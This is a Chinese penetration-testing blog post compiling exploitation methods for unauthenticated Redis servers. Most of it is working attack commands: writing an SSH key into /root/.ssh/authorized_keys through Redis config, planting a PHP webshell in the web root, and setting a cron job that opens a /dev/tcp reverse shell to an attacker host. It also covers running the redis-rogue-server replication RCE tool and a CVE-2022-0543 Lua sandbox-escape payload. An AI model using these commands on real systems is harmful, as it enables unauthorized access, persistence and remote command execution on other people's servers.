Redis未授权访问利用合集

Redis未授权访问利用合集_第1张图片

文章目录

  • Redis未授权访问利用
    • 1. 利用ssh公钥登录目标服务器
    • 2.写入webshell
    • 3. 定时任务反弹shell
    • 4. Redis 4.x/5.x 主从复制导致的命令执行
    • 5. CVE-2022-0543:redis沙盒逃逸漏洞

Redis未授权访问利用

微信公众号:小惜渗透,欢迎大佬一起交流进步

正常redis默认情况下,会绑定在0.0.0.0:6379,如果没有限制来源IP并且甚至没有密码,那么就会导致攻击者非法访问,并读取Redis的数据,还可以利用自身config命令进行写入操作,攻击者可将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys中,进而直接使用对应私钥登录目标服务器。

1. 利用ssh公钥登录目标服务器

搭建环境:

#下载源码压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

#解压
tar zxvf redis-3.2.11.tar.gz

#进入压缩目录
cd redis-3.2.11
#编译
make

#编译成功后进入src目录并将redis-server和redis-cli拷贝到/usr/bin目录下,并将redis.conf复制到/etc/

#紧接着编辑redis.conf
vim /etc/redis.conf

将这行绑定本地127.0.0.1加上注释(还可以改成0.0.0.0)

Redis未授权访问利用合集_第2张图片

将保护模式关闭

Redis未授权访问利用合集_第3张图片

保存,然后启动redis服务

redis-server /etc/redis.conf

Redis未授权访问利用合集_第4张图片

切记别忘了关防火墙


在/root/.ssh目录下面会自动创建两个文件,分别是本地的公钥和私钥

ssh-keygen -t rsa

Redis未授权访问利用合集_第5张图片

公钥需要加两个换行

(echo "\n\n";cat /root/.ssh/id_rsa.pub)>test.txt

将公钥写入redis

cat test.txt | /Black/redis/redis-cli -h 192.168.52.251 -x set crack

image-20220704213442875

连接redis

redis-cli -h ip

image-20220704175955014

查询redis备份路径

config get dir

查到路径是root(既然是root目录,其实就表明redis应该是用root权限运行,所以就可以尝试直接写ssh公钥)

image-20220704212458546

紧接着更改redis备份路径为ssh公钥存放目录

config set dir /root/.ssh

设置上传公钥的备份文件名字为authorized_keys

config set dbfilename authorized_keys

保存退出

image-20220704214202225

#通过私钥免密连接
ssh -i id_rsa [email protected] 

image-20220704215301194


2.写入webshell

  • 在服务器上存在web网站时,我们可以通过redis直接写入webshell(前提知道网站绝对路径)
#连接redis
redis-cli -h 192.168.52.251
#设置备份文件路径为网站根目录
config set dir /var/www/html/
#设置备份文件名为shell.php
config set dbfilename shell.php
#随便设置一个键,值为一句话马(我下面测试用的phpinfo)
set shell ""
#然后保存
save

这样备份文件就会多了一句话, 当我们访问时会被解析

Redis未授权访问利用合集_第6张图片


3. 定时任务反弹shell

先在kali里面监听端口

image-20220705110800962

config set dir /var/spool/cron
config set dbfilename root
set xx  "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/4444 0>&1\n\n"
save

Redis未授权访问利用合集_第7张图片


4. Redis 4.x/5.x 主从复制导致的命令执行

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

正常连接redis,然后将备份目录设置成root目录,会提示权限不足

image-20220705115053625

下载exp脚本:https://github.com/n0b0dyCN/redis-rogue-server

#先编译exp
cd RedisModulesSDK/exp/
make

#利用
python redis-rogue-server.py --rhost 192.168.52.251 --lhost 192.168.52.128 --lport 4444

权限可真低,能用的命令也少

Redis未授权访问利用合集_第8张图片


5. CVE-2022-0543:redis沙盒逃逸漏洞

造成redis沙盒逃逸漏洞的原因主要是由于redis lua,redis嵌入了lua编程语言作为其脚本引擎,可通过eval命令使用lua,lua引擎是沙盒化的,不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上,由于打包问题,在lua沙箱中遗留了一个对象package,攻击者可以利用这个对象package逃逸redis lua沙盒,在运行redis的服务器上执行任意命令。

影响版本:

  • 2.2 <= redis < 5.0.13
  • 2.2 <= redis < 6.0.15
  • 2.2 <= redis < 6.2.5

利用:

Exp:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("touch /tmp/redistest", "r"); local res = f:read("*a"); f:close(); return res' 0

成功

image-20220705133107065

你可能感兴趣的:(渗透,redis,数据库,缓存)